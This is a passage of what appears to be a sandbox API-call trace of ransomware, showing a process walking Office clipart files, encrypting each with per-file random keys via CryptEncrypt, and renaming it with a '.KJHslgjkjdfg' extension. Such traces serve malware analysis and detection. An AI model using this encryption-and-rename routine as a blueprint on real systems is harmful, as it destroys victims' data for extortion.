liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.744] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9b8, lpOverlapped=0x0) returned 1 [0159.744] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9c0) returned 1 [0159.744] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.744] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9c0, lpOverlapped=0x0) returned 1 [0159.744] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.744] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.744] SetEndOfFile (hFile=0x114) returned 1 [0159.746] GetProcessHeap () returned 0x2a0000 [0159.746] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.746] GetProcessHeap () returned 0x2a0000 [0159.746] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.746] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.kjhslgjkjdfg")) returned 1 [0159.747] CloseHandle (hObject=0x114) returned 1 [0159.747] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1 [0159.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.748] GetProcessHeap () returned 0x2a0000 [0159.748] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.748] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.748] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.748] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.750] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.750] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.750] GetProcessHeap () returned 0x2a0000 [0159.750] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.750] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.750] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.750] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.751] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.751] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.751] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.751] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.751] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.751] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.751] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.751] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.751] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x88c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x88c, lpOverlapped=0x0) returned 1 [0159.751] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x890, dwBufLen=0x890 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x890) returned 1 [0159.751] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.751] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x890, lpOverlapped=0x0) returned 1 [0159.751] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.751] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.751] SetEndOfFile (hFile=0x114) returned 1 [0159.753] GetProcessHeap () returned 0x2a0000 [0159.753] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.753] GetProcessHeap () returned 0x2a0000 [0159.753] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.kjhslgjkjdfg")) returned 1 [0159.754] CloseHandle (hObject=0x114) returned 1 [0159.754] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1 [0159.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.755] GetProcessHeap () returned 0x2a0000 [0159.755] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.755] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.755] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.755] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.757] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.757] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.757] GetProcessHeap () returned 0x2a0000 [0159.757] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.757] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.757] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.757] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.757] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.757] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.757] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.757] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.757] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.758] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.758] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.758] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.758] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x112c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x112c, lpOverlapped=0x0) returned 1 [0159.759] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1130, dwBufLen=0x1130 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1130) returned 1 [0159.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.759] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1130, lpOverlapped=0x0) returned 1 [0159.759] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.759] SetEndOfFile (hFile=0x114) returned 1 [0159.761] GetProcessHeap () returned 0x2a0000 [0159.761] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.761] GetProcessHeap () returned 0x2a0000 [0159.761] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.kjhslgjkjdfg")) returned 1 [0159.762] CloseHandle (hObject=0x114) returned 1 [0159.762] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1 [0159.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.763] GetProcessHeap () returned 0x2a0000 [0159.763] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.763] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.763] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.763] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.763] GetProcessHeap () returned 0x2a0000 [0159.763] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.763] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.763] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.763] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.765] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.765] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.766] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.766] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.766] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.766] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.766] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe70, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe70, lpOverlapped=0x0) returned 1 [0159.766] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe70, dwBufLen=0xe70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe70) returned 1 [0159.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.766] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe70, lpOverlapped=0x0) returned 1 [0159.766] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.766] SetEndOfFile (hFile=0x114) returned 1 [0159.768] GetProcessHeap () returned 0x2a0000 [0159.768] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.768] GetProcessHeap () returned 0x2a0000 [0159.768] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.kjhslgjkjdfg")) returned 1 [0159.769] CloseHandle (hObject=0x114) returned 1 [0159.769] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1 [0159.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.770] GetProcessHeap () returned 0x2a0000 [0159.770] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.770] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.770] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.770] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.775] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.775] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.775] GetProcessHeap () returned 0x2a0000 [0159.775] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.775] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.775] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.775] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.776] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.776] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.776] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.776] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.776] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.776] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.776] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.776] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.776] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x61c, lpOverlapped=0x0) returned 1 [0159.776] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x620, dwBufLen=0x620 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x620) returned 1 [0159.776] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.776] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x620, lpOverlapped=0x0) returned 1 [0159.776] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.776] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.776] SetEndOfFile (hFile=0x114) returned 1 [0159.779] GetProcessHeap () returned 0x2a0000 [0159.779] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.779] GetProcessHeap () returned 0x2a0000 [0159.779] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft 